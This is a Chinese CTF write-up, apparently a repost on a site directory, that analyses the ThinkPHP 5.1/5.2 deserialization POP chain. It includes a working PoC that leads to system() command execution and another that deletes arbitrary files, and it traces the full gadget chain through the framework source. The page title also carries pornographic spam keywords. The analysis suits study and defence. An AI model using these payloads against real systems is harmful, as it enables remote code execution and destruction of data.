日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

 

漏洞分析之thinkPHP反序列化:這就是黑客的世界嗎

 

前言

作為一個(gè)Web菜雞,我之前和師傅們參加了紅帽杯,奈何只有0輸出,當(dāng)時(shí)只知道是thinkphp5.2的反序列化漏洞,但是感覺(jué)時(shí)間不夠了,也就沒(méi)有繼續(xù)做下去。只有賽后來(lái)查漏補(bǔ)缺了,也借著tp5.2這個(gè)反序列化pop鏈來(lái)學(xué)習(xí)下大佬們的構(gòu)造思路,不得不說(shuō)這個(gè)pop鏈真的是很強(qiáng)了,在分析的過(guò)程中,媽媽一直問(wèn)我為什么跪著玩電腦~

紅帽杯2019 Ticket_System思路

在直接輸入xml數(shù)據(jù)處存在xxe漏洞,利用xxe可以讀取服務(wù)器根目錄下的hints.txt文件,這個(gè)文件中有提示,大概就是說(shuō)需要RCE,那根據(jù)前面做題過(guò)程中的報(bào)錯(cuò)等信息也知道了這是tp5.2的應(yīng)用,所以自然就聯(lián)想到了tp的已知漏洞,也就是接下來(lái)要分析的這個(gè)反序列化漏洞了。當(dāng)然這個(gè)rce后還不能得到flag,還需要一些操作,具體見(jiàn)Writeup by X1cT34m:

https://xz.aliyun.com/t/6746

thinkphp 5.1 反序列化pop鏈分析

這里選擇5.1的進(jìn)行分析,5.2與這個(gè)也差不了多少,我就擇其一啦 因?yàn)榫W(wǎng)上有公開(kāi)的poc,所以,我們可以利用poc來(lái)反向分析這個(gè)pop鏈。先貼上poc的一種寫法:

<?php
namespace think;
abstract class Model{
    protected $Append = [];
    private $data = [];
    function __construct(){
        $this->append = ["axin"=>['calc.exe', 'calc']];
        $this->data = ["axin"=>new Request()];
    }
}
class Request{
    protected $hook = [];
    protected $filter = "";
    protected $config = [];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'axin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace thinkprocesspipes;

use thinkmodelconcernConversion;
use thinkmodelPivot;
class windows{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace thinkmodel;

use thinkModel;

class Pivot extends Model{
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
?>

可以看到,這個(gè)poc最后是序列化了一個(gè)Windows實(shí)例,那么反序列化的觸發(fā)點(diǎn)一定就是Windows里面的魔術(shù)方法了,例如反序列中經(jīng)常利用的__weakup(), __destruct()等。我們?nèi)タ纯丛创a,在Windows類中有魔術(shù)方法__destruct(),這個(gè)魔術(shù)方法在對(duì)象銷毀時(shí)被調(diào)用,其中調(diào)用了兩個(gè)函數(shù)

public function __destruct(){
    $this->close();
    $this->removeFiles();
}

close函數(shù)里面沒(méi)有什么我們感興趣的操作,但是removeFiles()函數(shù)里面就比較有意思了:

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

遍歷了對(duì)象的files變量,如果其中的值是一個(gè)已存在文件的路徑,那么就進(jìn)行刪除操作。而$this->files變量我們是可以控制的,所以如果存在反序列化的點(diǎn)的話,這兒就是一個(gè)任意文件刪除漏洞。為了更清晰的展示這個(gè)漏洞,我們自己來(lái)構(gòu)造一下PoC:

<?php
namespace thinkprocesspipes;

class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files = ["/opt/lampp/htdocs/tp5/public/123.txt"];
    }
}

echo urlencode(base64_encode(serialize(new Windows())));

poc的構(gòu)造也比較簡(jiǎn)單,需要注意的點(diǎn)就是不要忽略了namespace,我們構(gòu)造的poc里的命名空間應(yīng)該與tp中Windows類的命名空間一致,這樣才能被正確的反序列化。上面的poc運(yùn)行過(guò)后會(huì)得到base64編碼過(guò)后的序列化字符串:

漏洞分析之thinkPHP反序列化:這就是黑客的世界嗎

 

然后,為了復(fù)現(xiàn)這個(gè)任意文件刪除,我們還需要在tp應(yīng)用中手動(dòng)構(gòu)造一個(gè)反序列化的點(diǎn)。我就寫在Index控制器里了

漏洞分析之thinkPHP反序列化:這就是黑客的世界嗎

 

我在index控制器里添加了一個(gè)unser方法,并對(duì)我們傳過(guò)去的變量進(jìn)行了base64解碼以及反序列化操作。然后我們把剛剛生成的序列化數(shù)據(jù)通過(guò)post發(fā)送過(guò)去

漏洞分析之thinkPHP反序列化:這就是黑客的世界嗎

 

這樣就能成功刪除文件了,但是其實(shí)我在復(fù)現(xiàn)這個(gè)刪除文件的點(diǎn)的時(shí)候出現(xiàn)了死活刪除不了的情況,原因就是因?yàn)闄?quán)限,可能你的Web服務(wù)器用戶沒(méi)有權(quán)限刪除你指定的文件,這一點(diǎn)需要注意。好了,文件刪除只是小菜,我們的最終目的是實(shí)現(xiàn)RCE,結(jié)合最開(kāi)始給出的PoC,我們可以看到作者這里的$this->files變量是Pivot類的實(shí)例,在removeFiles函數(shù)中對(duì)pivot類進(jìn)行了file_exists判斷,file_exists()會(huì)把傳入?yún)?shù)當(dāng)做字符串處理,但是我們傳入的一個(gè)對(duì)象,所以就會(huì)自動(dòng)調(diào)用對(duì)象的__toString()魔術(shù)方法(知識(shí)點(diǎn)呀!同學(xué)們),所以,接下來(lái)正常思路就是跟進(jìn)pivot對(duì)象的__toString()方法,但是pivot并沒(méi)有實(shí)現(xiàn)__toString()方法,但是poc中他繼承了Model類,于是我繼續(xù)跟到Model類中,發(fā)現(xiàn)他也沒(méi)有實(shí)現(xiàn)toString方法,然后我陷入了對(duì)人生以及社會(huì)的思考,到后來(lái)才知道php 5.4以后就已經(jīng)有trait這個(gè)東西了

注:trait這個(gè)東西的出現(xiàn)是為了解決php不支持多繼承的問(wèn)題,一般我們將一些類的公有特性提取出來(lái)寫成一個(gè)trait,然后如果某個(gè)類想要使用trait中的東西,只需要使用use關(guān)鍵字把這個(gè)trait包含進(jìn)來(lái)就行了,其實(shí)就和繼承差不多,只不過(guò)形式不同,我感覺(jué)更像是文件包含。trait的定義也很簡(jiǎn)單,類似:

trait Conversion
{
xxxxxxxxx
}

而且,在Model中就引入了好幾個(gè)trait,這些trait中一個(gè)名為Conversion的,他里面就有__toString方法,也就是pivot對(duì)象的__toString()繼承自這里,所以我們跟進(jìn)看看:

public function __toString(){
    return $this->toJson();
}

調(diào)用了toJSON,跟進(jìn)

    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

繼續(xù)跟進(jìn)toArray()

public function toArray()
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)      = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)     = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并關(guān)聯(lián)數(shù)據(jù)
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 關(guān)聯(lián)模型對(duì)象
                if (isset($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 關(guān)聯(lián)模型對(duì)象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加屬性(必須定義獲取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加關(guān)聯(lián)對(duì)象屬性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }

                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加關(guān)聯(lián)對(duì)象屬性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible([$attr]);
                    }

                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $item[$name] = $this->getAttr($name, $item);
                }
            }
        }

        return $item;
    }

toArray中前面是哪兩個(gè)foreach我們不需要管,基本上不會(huì)干擾到我們整個(gè)利用鏈,我們把注意力放到對(duì)$this->append的遍歷上,結(jié)合poc我們知道this->append的值為["axin"=>["calc.exe","calc"]],所以$key為axin,$name為["calc.exe","calc"],那么就會(huì)進(jìn)入第一個(gè)if分支,跟進(jìn)getRelation

public function getRelation($name = null){
   if (is_null($name)) {
       return $this->relation;
   } elseif (array_key_exists($name, $this->relation)) {
       return $this->relation[$name];
   }
   return;
}

反正最后的結(jié)果就是返回null了,也就是$relation為null,接著$key進(jìn)入了getAttr(),跟進(jìn):

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }

        // 檢測(cè)屬性獲取器
        $fieldName = Loader::parseName($name);
        $method    = 'get' . Loader::parseName($name, 1) . 'Attr';

        if (isset($this->withAttr[$fieldName])) {
            if ($notFound && $relation = $this->isRelationAttr($name)) {
                $modelRelation = $this->$relation();
                $value         = $this->getRelationData($modelRelation);
            }

            $closure = $this->withAttr[$fieldName];
            $value   = $closure($value, $this->data);
        } elseif (method_exists($this, $method)) {
            if ($notFound && $relation = $this->isRelationAttr($name)) {
                $modelRelation = $this->$relation();
                $value         = $this->getRelationData($modelRelation);
            }

            $value = $this->$method($value, $this->data);
        } elseif (isset($this->type[$name])) {
            // 類型轉(zhuǎn)換
            $value = $this->readTransform($value, $this->type[$name]);
        } elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
            if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
                'datetime',
                'date',
                'timestamp',
            ])) {
                $value = $this->formatDateTime($this->dateFormat, $value);
            } else {
                $value = $this->formatDateTime($this->dateFormat, $value, true);
            }
        } elseif ($notFound) {
            $value = $this->getRelationAttribute($name, $item);
        }

        return $value;
    }

這么大一串代碼就問(wèn)你想不想看!作為一個(gè)懶人,我當(dāng)然是不想看的了,而且這只是利用鏈分析,不是漏洞挖掘,那我只需要知道這個(gè)函數(shù)的返回值不就行了嗎,我管他里面做了啥,所以,直接就是var_dump大法。為了方便觀察我的poc反序列化得到的效果,我在多處打印了關(guān)鍵值。

漏洞分析之thinkPHP反序列化:這就是黑客的世界嗎

 

但是有的小伙伴肯定不太清楚怎么觸發(fā)這里的var_dump,反序列化漏洞,他們又在反序列化執(zhí)行鏈上,那么他們當(dāng)然會(huì)執(zhí)行,前提是我們構(gòu)造的poc正確,但是最開(kāi)始不已經(jīng)給了現(xiàn)成的poc了嗎,直接照抄都行,但是本著學(xué)習(xí)的目的,我們自己一步一步構(gòu)造。到這一步,我的poc如下:

<?php
namespace think;
class Model{
    protected $append = [];
    private $data = [];

    public function __construct()
    {
        $this->append = ["axin"=>["123","456"]];
        $this->data = ["axin"=>"1233"];
    }
}



namespace thinkmodel;

use thinkModel;

class Pivot extends Model{

}

namespace thinkprocesspipes;

use thinkmodelPivot;

class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

echo urlencode(base64_encode(serialize(new Windows())));

然后發(fā)送生成的序列化數(shù)據(jù),得到$relation的值

漏洞分析之thinkPHP反序列化:這就是黑客的世界嗎

 

其實(shí)在上述自己構(gòu)造poc的過(guò)程中還是要去讀一下getAttribute的源碼23333(哎呀,不斷試錯(cuò)嘛),只是不需要全讀,我把getAttribute簡(jiǎn)化為如下:

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }

        xxxxxxxxxxx

        return $value;
    }

可以看到最終是返回了$value,而value來(lái)自getData的結(jié)果,所以,我們需要跟進(jìn)去:

public function getData($name = null){
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

還記得根據(jù)我們的poc現(xiàn)在的$name是多少嗎,是‘axin’,然后注意這里如果$name是$this->data的鍵名,就會(huì)直接返回$this->data[$name],而$this->data我們是可以控制的,所以這里的返回值是由我們完全掌握的。現(xiàn)在回到toArray()函數(shù),$relation的值就是$this->data[$name],這也符合我上面的實(shí)驗(yàn)結(jié)果,即$relation為1233,接下來(lái)執(zhí)行$relation->visible($name);,這里又有一個(gè)知識(shí)點(diǎn),當(dāng)調(diào)用一個(gè)對(duì)象不存在的方法時(shí),會(huì)自動(dòng)調(diào)用該對(duì)象的__call()魔術(shù)方法,前提是這個(gè)對(duì)象實(shí)現(xiàn)了或者繼承了__call()方法。

在正常的應(yīng)用中,__call方法是用來(lái)容錯(cuò)的,就是為了避免調(diào)用了不存在的方法,而直接報(bào)錯(cuò),這樣對(duì)用戶很不友好。所以,在__call中要么就是友好的提示用戶該方法不存在,要么就是從其他地方調(diào)用另一個(gè)方法,所以往往__call中會(huì)有call_user_func_array以及call_user_func函數(shù)(所以,到這里,我們總算是摸到RCE的一點(diǎn)尾巴了)。我們來(lái)簡(jiǎn)單的看一個(gè)__call函數(shù)使用的例子:

public function __call($method, $args){
    if (function_exists($method)) {
        return call_user_func_array($method, $args);
    }
}

但是,像上面這種形式的__call方法,是很難利用的,因?yàn)?method在反序列化鏈中通常是不能控制的,但是師傅不愧是師傅,漏洞作者發(fā)現(xiàn)了Request對(duì)象中的__call方法是這么寫的:

public function __call($method, $args){
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
    }

    throw new Exception('method not exists:' . static::class . '->' . $method);
}

同樣的,這里的$method不可控,但是$this->hook可控呀....那咱不就已經(jīng)RCE了嗎。

別著急,我們好像忘了什么東西,這里還對(duì)$args進(jìn)行了一波array_unshift操作,直接把$this放到了$args數(shù)組的最前面,到這里可能大家已經(jīng)忘了$args是多少了,根據(jù)我最開(kāi)始提供的poc,他的值就是["calc.exe","calc"],但是現(xiàn)在前面插了一個(gè)$this,$this現(xiàn)在代表的是那個(gè)對(duì)象呢,就是Request的實(shí)例,此時(shí),如果我們控制$this->hook[$method]的值為['某個(gè)對(duì)象','方法'],那么這一處call_user_func_array,經(jīng)過(guò)反序列化調(diào)用就變成了

某個(gè)對(duì)象->方法($this,"calc.exe","calc"),而且這個(gè)$this代表的是request類的實(shí)例。到這里,如果是我挖到了這里,按我這個(gè)菜鳥的思路,我可能會(huì)尋找某個(gè)類中是否有一個(gè)方法,這個(gè)方法內(nèi)調(diào)用了一些類似eval,system,call_user_func等危險(xiǎn)函數(shù),并且正好是用的方法的后兩個(gè)參數(shù),也就是這里的 calc.exe, calc這兩個(gè)位置的參數(shù)中的某一個(gè),如果找不到,俺就沒(méi)有辦法了。但是師傅就是師傅啊~他們還知道tp有filter這一用法,于是理所當(dāng)然的繼續(xù)構(gòu)造攻擊鏈

漏洞分析之thinkPHP反序列化:這就是黑客的世界嗎

 

此時(shí)此刻,我哪怕是能說(shuō)出,俺也一樣~,也是值得自豪的呀,奈何只能靚仔落淚,和大佬比起來(lái),除了帥,我一無(wú)所有

雖然我不知道這個(gè)師傅是怎么想到filter的,也不知道filter有啥用,但是在我分析的過(guò)程中,我悟出了在遇到這種情況下的另一種思路,既然找不到我上面說(shuō)的那種類,那么是否可以找到一個(gè)類中的方法,這個(gè)方法里面調(diào)用了危險(xiǎn)函數(shù),而且這個(gè)危險(xiǎn)函數(shù)不用我剛剛call_user_func_array傳過(guò)去的$args,但是這個(gè)危險(xiǎn)函數(shù)的參數(shù)又都是我們可控的?

聽(tīng)起來(lái)是不是有點(diǎn)繞?而且貌似有點(diǎn)難操作,但是要記得我們這是在利用啥漏洞,這是反序列化呀,如果危險(xiǎn)函數(shù)的參數(shù)全是使用的它所在的對(duì)象的屬性,那么是不是有得搞?為了方便理解,我構(gòu)造一個(gè)小demo:

<?php

class Test{
 public $name;
 public $age;
 public function show($height=180){
  eval($name+":"+$age);
 }
}

例如像上面這個(gè)例子是不是就是不用任何傳參,而且我們可以控制eval中的內(nèi)容?而這個(gè)利用鏈接下來(lái)要做的事其實(shí)就是找到這個(gè)函數(shù),只不過(guò)作者找這個(gè)函數(shù)的過(guò)程我覺(jué)得很牛逼,因?yàn)檫@個(gè)函數(shù)藏的挺深的,說(shuō)到這,我又想哭了

漏洞分析之thinkPHP反序列化:這就是黑客的世界嗎

 

在這里插入圖片描述

為了方便敘述我們還是跟著poc來(lái)吧,可以看到poc中出現(xiàn)的類已經(jīng)都在我的文章中登場(chǎng)了,所以最后的RCE觸發(fā)點(diǎn)也必然產(chǎn)生在這幾個(gè)類中,現(xiàn)在唯獨(dú)還沒(méi)有摸清楚的類就是Request了,可以看到POC中的request類$this->filter為system,所以我們也就猜測(cè)肯定是反序列化過(guò)程中在request類中的某一個(gè)方法里調(diào)用了代碼執(zhí)行的危險(xiǎn)函數(shù)(eval、call_user_func、call_user_func_array、preg_replace、array_map等等),然后我采取的策略就是在Request這個(gè)類中搜索這些危險(xiǎn)函數(shù),發(fā)現(xiàn)Request類中有四個(gè)方法調(diào)用了危險(xiǎn)函數(shù)call_user_func,分別是__call、token、cache、filterValue,首先排除__call,然后token以及cache里調(diào)用的call_user_func的參數(shù)我們都是不可以控制的,雖然一眼看過(guò)去filterValue()函數(shù)處的參數(shù)value我們也不可以控制,但是filterValue()被Request類中的其他方法調(diào)用了,我們回溯一下,看看調(diào)用處的傳參我們是否可以控制呢。

為了便于理解,下面貼出filterValue函數(shù)(可以看到,如果要實(shí)現(xiàn)代碼執(zhí)行,我們需要完全控制call_user_func的參數(shù),但是如果我們直接在__call方法中直接調(diào)用filterValue(),那么現(xiàn)在$value的值始終是[$this,xxx,xxx]形式的,導(dǎo)致我們無(wú)法實(shí)現(xiàn)RCE,所以我們是不能直接調(diào)用filterValue函數(shù)實(shí)現(xiàn)RCE的,那么我們就要看看是不是能夠通過(guò)間接調(diào)用filterValue實(shí)現(xiàn))

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 調(diào)用函數(shù)或者方法過(guò)濾
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正則過(guò)濾
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默認(rèn)值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函數(shù)不存在時(shí), 則使用filter_var進(jìn)行過(guò)濾
                    // filter為非整形值時(shí), 調(diào)用filter_id取得過(guò)濾id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }

        return $value;
    }

通過(guò)全局搜索找到input函數(shù),但是input函數(shù)處的參數(shù)也不可控,然后繼續(xù)往上找調(diào)用input的地方,找到param函數(shù),同理參數(shù)不可控,繼續(xù)回溯,找到isAjax函數(shù),可以看到在isAjax方法中調(diào)用了param方法,且參數(shù)$name可控,這就是網(wǎng)上公開(kāi)的完整攻擊鏈了,在真實(shí)的漏洞挖掘過(guò)程中需要一點(diǎn)點(diǎn)回溯,但是在分析過(guò)程中,我們就結(jié)合PoC順著這個(gè)鏈來(lái)看,這樣更加便于理解.

先來(lái)isAjax(),可以看到這個(gè)isAjax完全滿足我們之前說(shuō)的那種條件,不需要傳任何參數(shù),并且里面調(diào)用param()函數(shù)的參數(shù)又是可控的。

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }
  此處調(diào)用了param函數(shù),并且傳入$this->config['var_ajax']作為 $name,而在poc中this->config['var_ajax']為axin
        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

param()方法,參數(shù)變化在注釋中說(shuō)明:

    public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) { //mergeParam初始值為false,所以進(jìn)入分支
            $method = $this->method(true);

            // 自動(dòng)獲取請(qǐng)求變量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 當(dāng)前請(qǐng)求參數(shù)和URL地址中的參數(shù)合并
            // 可以按到無(wú)論是否是get請(qǐng)求,url中的參數(shù)都會(huì)被獲取到
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 獲取包含文件上傳信息的數(shù)組
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }
  // 調(diào)用input方法,$this->param為get與post所有參數(shù),$name為axin,$default=null,$filter=''
        return $this->input($this->param, $name, $default, $filter);
    }

input()方法:

    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 獲取原始數(shù)據(jù)
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }
   // 這里調(diào)用了getData,調(diào)用結(jié)果就是$data = $data[$name]
            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析過(guò)濾器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢復(fù)PHP版本低于 7.1 時(shí) array_walk_recursive 中消耗的內(nèi)部指針
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 強(qiáng)制類型轉(zhuǎn)換
            $this->typeCast($data, $type);
        }

        return $data;
    }

可以看到上面的input方法中調(diào)用getData,代碼如下:

根據(jù)poc,此時(shí)的$data=用戶的get以及post組成的數(shù)組,$name=axin
protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }
  這里的$data=$data[$name]
        return $data;
    }

所以如果我們?cè)趐ost (post不行,沒(méi)有深究)或者get中傳入axin=calc,這里返回的數(shù)據(jù)就是calc。接著input()函數(shù)又調(diào)用了getFilter,源碼如下:

此處的$filter=''而不是null,$default=null
    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
可以看到這兒把$this->filter賦值給了$filter,也就是poc中的system
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }
  
        $filter[] = $default;
此處$filter=['system',null]
        return $filter;
    }

最后input函數(shù)里執(zhí)行到: $this->filterValue($data, $name, $filter);

而現(xiàn)在我們的$data為calc,$name為axin,$filter為system,我們帶著這些數(shù)據(jù)進(jìn)入filterValue.

private function filterValue(&$value, $key, $filters)
    {
    這里移除了default的值,$filters數(shù)組里只剩下system
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 調(diào)用函數(shù)或者方法過(guò)濾
                echo "方法執(zhí)行n";
                為了更加清晰的說(shuō)明,我這里打印$filter與$value的值。
                echo "$filter為:".$filter."n $value為".$value;
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正則過(guò)濾
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默認(rèn)值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函數(shù)不存在時(shí), 則使用filter_var進(jìn)行過(guò)濾
                    // filter為非整形值時(shí), 調(diào)用filter_id取得過(guò)濾id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }

        return $value;
    }

可以看到數(shù)據(jù)直接帶入了call_user_func,burp復(fù)現(xiàn)請(qǐng)求響應(yīng)如下:

漏洞分析之thinkPHP反序列化:這就是黑客的世界嗎

 

在這里插入圖片描述

由于我本地配置的原因沒(méi)能彈出計(jì)算器,但是確實(shí)是調(diào)用了call_user_func的。攻擊鏈:

引用自 https://xz.aliyun.com/t/6619
thinkphplibrarythinkprocesspipesWindows.php - > __destruct()

thinkphplibrarythinkprocesspipesWindows.php - > removeFiles()

Windows.php: file_exists()

thinkphplibrarythinkmodelconcernConversion.php - > __toString()

thinkphplibrarythinkmodelconcernConversion.php - > toJson() 

thinkphplibrarythinkmodelconcernConversion.php - > toArray()

thinkphplibrarythinkRequest.php   - > __call()

thinkphplibrarythinkRequest.php   - > isAjax()

thinkphplibrarythinkRequest.php - > param()

thinkphplibrarythinkRequest.php - > input()

thinkphplibrarythinkRequest.php - > filterValue()

分析完這個(gè)利用鏈,真的是覺(jué)得師傅們太強(qiáng)了,特別是最后找到這個(gè)isAjax函數(shù),需要很大的耐心才能挖到!

最后再點(diǎn)個(gè)題,回到紅帽杯的題目,還有一個(gè)考點(diǎn)就是怎么觸發(fā)反序列化,因?yàn)槲以趶?fù)現(xiàn)這個(gè)利用鏈的時(shí)候都是自己構(gòu)造的反序列化點(diǎn),但是題目中是沒(méi)有這么一個(gè)明顯的輸入點(diǎn)的。題目考到了利用phar歸檔文件實(shí)現(xiàn)反序列化,參考:phar利用姿勢(shì)

分享到:
標(biāo)簽:黑客
用戶無(wú)頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過(guò)答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定